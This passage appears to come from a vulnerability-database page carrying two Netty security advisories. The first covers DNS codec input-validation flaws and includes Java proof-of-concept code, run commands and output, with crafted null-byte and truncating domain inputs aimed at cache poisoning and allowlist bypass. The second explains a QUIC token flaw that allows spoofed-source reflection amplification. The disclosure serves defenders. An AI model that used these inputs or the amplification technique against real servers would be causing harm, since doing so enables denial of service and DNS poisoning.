}
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
GHSA-CMM3-54F8-PX4J
Vulnerability from github – Published: 2026-06-08 22:59 – Updated: 2026-06-12 19:29NoQuicTokenHandler is the tokenHandler used when the application does not set one. Its writeToken() returns false (server will not send Retry — acceptable), but validateToken() unconditionally return 0. In QuicheQuicServerCodec.handlePacket(), a non-negative return from validateToken() is interpreted as 'token is valid, ODCID starts at offset 0', causing the server to call quiche_accept as if the client's address had been validated by a Retry round-trip. Per RFC 9000 §8.1, a validated address lifts the 3× anti-amplification send limit. Thus any attacker who includes ANY non-empty token bytes in an Initial packet — with a spoofed victim source IP — causes the Netty server to treat the victim as validated and reflect full-size handshake flights (certificates, etc.) toward it without the 3× cap. The correct 'no token handler' semantics would be to return -1 (invalid) so the normal un-validated path and amplification limit apply.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-classes-quic"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44894"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T22:59:43Z",
"nvd_published_at": "2026-06-12T15:16:26Z",
"severity": "HIGH"
},
"details": "NoQuicTokenHandler is the tokenHandler used when the application does not set one. Its writeToken() returns false (server will not send Retry \u2014 acceptable), but validateToken() unconditionally `return 0`. In QuicheQuicServerCodec.handlePacket(), a non-negative return from validateToken() is interpreted as \u0027token is valid, ODCID starts at offset 0\u0027, causing the server to call quiche_accept as if the client\u0027s address had been validated by a Retry round-trip. Per RFC 9000 \u00a78.1, a validated address lifts the 3\u00d7 anti-amplification send limit. Thus any attacker who includes ANY non-empty token bytes in an Initial packet \u2014 with a spoofed victim source IP \u2014 causes the Netty server to treat the victim as validated and reflect full-size handshake flights (certificates, etc.) toward it without the 3\u00d7 cap. The correct \u0027no token handler\u0027 semantics would be to return -1 (invalid) so the normal un-validated path and amplification limit apply.",
"id": "GHSA-cmm3-54f8-px4j",
"modified": "2026-06-12T19:29:17Z",
"published": "2026-06-08T22:59:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cmm3-54f8-px4j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44894"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty\u0027s Default QUIC token handler accepts any client-supplied token"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.